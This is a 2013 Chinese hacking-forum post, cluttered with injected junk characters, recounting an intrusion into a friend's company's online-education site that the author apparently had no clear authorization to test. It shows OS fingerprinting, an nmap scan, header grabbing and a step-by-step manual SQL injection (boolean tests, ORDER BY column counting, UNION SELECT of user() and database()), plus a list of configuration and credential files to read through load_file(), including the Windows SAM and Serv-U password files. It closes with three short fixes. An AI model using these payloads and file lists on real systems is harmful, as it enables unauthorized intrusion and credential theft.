找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2056|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
题记:+ y" D( A% [$ p. G2 \* J1 y
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
; @7 Y/ |6 V9 ?: S第一步:获取需要的信息
7 S$ g3 l! f* h. L$ O6 X: S由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
' J* y, e& B& i& W' W' Z9 N注:以下为保护特用XXX代替敏感信息
1 s( h, l6 N6 `, n- U/ e顺手先PING了一下他们的域名:
* R/ t6 a; q. C& `2 K* pping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
. C( q5 q0 z, }9 @$ L  \8 d( Z64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
" o3 U- X- I+ q; B顺便了解一下TTL,学好基础知识才能一路顺风:/ p' W  X* s  x, W% C$ \% ]
TTL:(Time To Live ) 生存时间0 W8 b" ^) O5 i5 s& a' b
指定数据包被路由器丢弃之前允许通过的网段数量。
( N- [6 O% _& I" N. p  [$ ~TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
3 W: ^% h7 {. x  [" ?5 v, V/ p' x8 v使用PING时涉及到的 ICMP 报文类型- N8 A6 \: u/ c
一个为ICMP请求回显(ICMP Echo Request)
* N) z- I4 l. I1 g. C一个为ICMP回显应答(ICMP Echo Reply)& K* ?/ N, q; f0 _8 }) P
TTL 字段值可以帮助我们识别操作系统类型。
% \5 _9 l/ O  p. ?UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2555 U9 l' \9 L# A: M: k
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64/ {3 Z+ a) u$ P" v* R& T
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
, H) D7 }' T2 _# }2 [1 k* g微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
9 `9 n/ q0 C9 _, A" P/ |- J( O5 \当然,返回的TTL值是相同的
0 S" F' T9 @3 i0 r但有些情况下有所特殊, K. p6 u; [* w* N  J4 M, c/ m
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
( ^7 r. J0 `6 r3 c; LFreeBSD 4.1, 4.0, 3.4;
" r" U7 l# W& [2 c4 G% o* QSun Solaris 2.5.1, 2.6, 2.7, 2.8;
7 E$ p/ @3 Q7 k* {, c- U* R8 }. i0 EOpenBSD 2.6, 2.7,
/ @. G& h+ F& b! |NetBSD* e# o" v% D2 R7 y; n% O) O/ ^
HP UX 10.203 A" k3 q  F5 D# ^3 n
ICMP 回显应答的 TTL 字段值为 255- D& N6 O+ n7 B1 G* v
Windows 95/98/98SE
3 a  l: h6 j) yWindows ME- T6 h1 T5 N  H7 L# S
ICMP 回显应答的 TTL 字段值为 32; ~5 U2 l% x. h3 k% [7 s. |+ F: P
Windows NT4 WRKS
2 d6 o8 L- ]. r+ wWindows NT4 Server
0 o7 v& q/ o) J- P, G* yWindows 20000 d. [4 o& m; z, x/ z( H- @
Windows XP
+ x8 E0 O4 f- f- F# `' l* HICMP 回显应答的 TTL 字段值为 1280 Q' n( l( n: K( x/ m: K) c
这样,我们就可以通过这种方法来辨别操作系统
# j/ g9 V; B; d( X. l! f2 k- K2 WTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
' f/ H/ k4 c: A# s: l/ t$ F% G用NMAP扫描一下:
) I" H# ~) o$ k2 r$ jnmap -sT -O XXX.XXX.XXX.XXX
! p. }. J  \6 g  E* ?如果没有装WinPcap则会弹出提示:8 G; V, J: r5 j0 f9 R: g8 w$ c' ]
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr3 s9 \$ ~- `+ [* @
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
2 D* S1 r" C# N) mode — Nmap may not function completely
9 a- ^( `7 G- D0 \  H" bTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
5 D" l2 t0 X. b9 X' B  r( xand iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
; Y7 |( c# S1 c4 @$ vpcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an; k3 Q+ j3 Y  H; `# ]$ K0 ]0 U
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
6 G2 j3 J  l( _ersions, you may be able to take iphlpapi.dll from another system and place it i, g  e$ i* b  h5 _( I1 q2 s" S
n your system32 dir (e.g. c:\windows\system32).; t5 h& k1 ~$ M6 m2 B3 c
QUITTING!
7 J$ L6 H+ C9 ?8 Q. M. R到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe+ R- K* |$ |2 B. W5 V8 H
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
- M5 _0 b, d; E5 y" ~# A% k- }Interesting ports on XXX.XXX.XXX.XXX:0 s" w5 `5 ^& ~; |3 d) f1 s# E
Not shown: 986 closed ports% i/ k, `/ f8 N7 N
PORT     STATE    SERVICE
# E& m3 [- Z, v9 j4 c, C21/tcp   open     ftp
' D8 L# J3 u1 U" R. v2 D: d' }7 ]22/tcp   open     ssh: r& ]9 i" C4 |. r, `0 ]1 b
23/tcp   open     telnet
  ~" [0 {* j# D/ o* }& [80/tcp   open     http7 r  c% [/ {* a& g% S
111/tcp  open     rpcbind4 I# d8 v; }$ P) X) W2 p
135/tcp  filtered msrpc
  j/ A* T. P3 m1 b: n139/tcp  filtered netbios-ssn; }: }% }( Y  v
445/tcp  filtered microsoft-ds4 k9 e; U5 c% V$ x  d2 G
513/tcp  open     login% V' u: J+ z  U! L
514/tcp  open     shell
' D3 k* p9 j2 F5 ?8 a593/tcp  filtered http-rpc-epmap
$ ?) F! M+ X! U' Q* k: f1720/tcp filtered H.323/Q.931
( U8 {  z6 ~- \5 w! Z# {3306/tcp open     mysql0 G' [$ f: I+ k. j% _2 Y. k
4444/tcp filtered krb524
( \' h- f9 [5 \, @9 i2 QDevice type: WAP
. R. A7 [% w' I' ]9 |( c: GRunning: Linux 2.4.X  ]7 K2 A4 k) J6 K. t! U+ X+ q
OS details: DD-WRT (Linux 2.4.35s)
+ s/ M: C0 v2 Q% M, i/ d& W/ TNetwork Distance: 13 hops
% T& L3 x+ q. F* \/ Y8 g( D看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:! L5 N) p0 i1 F2 N  p
login as:
( _" A/ p1 x; s; l2 HTelnet23端口也是开着的,用telnet 命令链接一下:
; @7 B9 t7 X6 _& o0 V# \: ?$ btelnet XXX.XXX.XXX.XXX# v- P1 ]7 K( ], }0 T
提示:
1 V2 O: ]) _  Z1 _9 l) I2 W" SRed Hat Enterprise Linux Server release 5.2 (Tikanga)" s$ U% E6 P4 K) h+ G, K
Kernel 2.6.18-92.el5PAE on an i6862 ?& k9 ?  C3 B
login:- Q( l% l9 x6 ]- D& k
获取HTTP头信息:
, T/ }! s- S* V# O0 V在本地执行如下PHP代码1 m) A; o$ t# x( f; \
<?php
$ U* n$ w/ g) J* e4 {$ ~$url = ‘XXX.XXX.XXX.XXX’;: Z# ~% w' O3 C2 c. p% {
print_r(get_headers($url));
$ m  h6 I* b% ]4 G" kprint_r(get_headers($url, 1));& i5 F5 x9 v) e! x/ [3 o+ j
?>' Q+ x$ p4 q3 N4 r2 i' B, ]7 c
将以上代码保存为PHP文件,执行:0 M  f: a* o7 F1 N; o8 ~
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes ), e, ?7 R# w  C2 v9 \
现在可以得出结论:) a# [* ^7 s4 }
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
. W& l3 `5 C% t6 N内核版本:Kernel 2.6.18-92.el5PAE on an i686
* O( v6 j7 z% d/ S/ rWEB服务器版本:nginx/0.7.61) y" R! q7 Y2 ]3 x7 C
第二步,开始测试寻找漏洞6 B) T% n2 u6 b3 I4 ^! [
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。5 Y, W5 s6 B% m5 _; k5 L
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的  n" \) F. m4 T7 W' d7 I- B9 o+ r
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
- G5 s0 o; N) ~3 `# W% Mhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
- |! J( g# c6 R$ _, @7 }$ X3 ^http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误; v) d1 ]% ]! _9 \* o
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
! v. d7 P% {" P/ Z" Z- C. _* j3、手工注入:1 F1 Q8 J- j: ~# Z) M* n
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
- {; S7 O: w, m  z& t3.1 猜测当前表字段数& }9 i5 P% [% g2 k/ i1 L" {% z
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
  z0 k5 Y4 v! n+ A此处猜测有个简单的算法,都是有技巧的吗,呵呵8 w! g9 J4 u9 p/ z! b3 p9 d
算法简单如下:
; H2 ^& {4 Q' W( L, y! J9 W- q第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
4 f* I* y6 b7 d- v/ f第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;3 y% U. q2 O6 ~' v) ]
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
8 ~) |2 s7 q, T2 A7 r* Q8 ?& D以此来判断,是否过界,配合取中算法猜出字段数。6 M. i( |) r: v% H' x! ^
举例:) g4 H" t4 K/ B4 ~$ m2 R
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
. u7 F5 P4 G% R& khttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
8 x) {- @$ }* [  V* }( `7 k! F$ [此时3则为我们要找的字段数。! G% n0 I7 X3 a# m3 y% _
3.2 配合union联合查询字段在页面所位置, n) @# Z9 }( _5 y# }8 ^4 ?& |* p) E
我们已经知道了字段数为3,此时则可以做如下操作:; v; }$ }0 P  H, F
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3* ]/ y8 A, h% K1 g% g
# Q4 w7 G5 e6 l7 ~2 a6 ?1 ^
这样就可以测试到哪些字段在页面上有所显示了,如图:
- G: L# z2 W& c. b
3 q! j4 I$ H9 ?! [3.3 查敏感信息& F: {  A& B% `" X. x! J
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。5 |+ {0 {: Q/ H! q6 i* a( L
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
  ~: J/ c& m6 p6 F+ `: V3.3.1 先查数据库用户、数据库名,以备后用,如图:3 a# J& \5 C0 l) Q( _5 q: y. o
8 r( C( k+ L8 C1 ~
得到数据库用户为root、数据库名为DBxx;
8 t& D+ V/ a$ C" ^1 r% t+ I1 s$ o/ ~3.3.2 查配置文件
4 l! L/ d4 Z* ?3 B% s  g查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。; K4 [0 F( N5 M& A
查看文件有一定的条件限制:
1 T: B5 ?, p, ?; s0 r: t欲读取文件必须在服务器上
8 g0 O* ^* \3 l) R" Z" W% T: u  ?必须指定文件完整的路径
3 Y( u$ i' ]9 L2 T8 \" |必须有权限读取并且文件必须完全可读
: y0 |( L/ G7 s. f欲读取文件必须小于 max_allowed_packet' x4 b0 f0 Z  t2 L& z
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
6 Z) D+ ^6 V5 Q7 R! l0 i常用的一些:( n8 M, S  J- M' L
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
! s0 L. k" h5 }5 |* {3 s) _/usr/local/apache2/conf/httpd.conf" {# W' L$ {& N7 N9 A
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
' X( I5 t! K& F2 y* s5 q0 I% d. v  l/usr/local/app/php5/lib/php.ini //PHP相关设置
# e, q9 O- C. F# i/etc/sysconfig/iptables //从中得到防火墙规则策略
2 ?+ ~! |8 B, P/ F% z/etc/httpd/conf/httpd.conf // apache配置文件5 |/ U  p6 C" A' X# }
/etc/rsyncd.conf //同步程序配置文件
# X0 k' v7 `- g9 W/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.: y5 _6 f- b4 K# `
/etc/my.cnf //mysql的配置文件/ N& B3 N& Y" ^; n: J  Q' ]
/etc/redhat-release //系统版本9 J; ^7 I0 U. y# n+ |" y
/etc/issue
8 J, \" j) k1 d5 F% s. h/etc/issue.net
/ V! Y2 a0 j" x/ x9 J) m5 ^c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
9 c4 D" D; ?4 S; @, ~  B5 zc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码( |$ ^# a. k' {7 H: c$ d
c:\Program Files\Serv-U\ServUDaemon.ini$ O; o4 X- i' g4 D
c:\windows\my.ini //MYSQL配置文件
5 `; P( s7 r0 d7 L7 @! c6 @9 ^c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件. @) C/ ]$ a/ S# u( \
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,) o. H+ T7 d/ |( n
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
# N5 t% }7 `1 v, p) n$ F. pc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
% O" N* b& j' y7 Jc:\Program Files\RhinoSoft.com\ServUDaemon.exe
% X* _7 j3 Z: B$ G' QC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件/ B9 h' V( L: w- |3 i$ W5 P3 E
//存储了pcAnywhere的登陆密码8 U& l9 l4 ]9 d8 ^8 H
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
. b7 m" ]# ?( r+ D; ^) ]1 w  D这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。# h+ J! O4 Q4 w' k: U3 G! J
最后:防范措施
; ~, V, j) H# x* U- o& v9 H1、修复PHP注入漏洞;- X7 o( g3 U# x8 x' X
2、Mysql使用普通权限的用户;
( f4 L0 \# i/ ]- l' @4 w3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表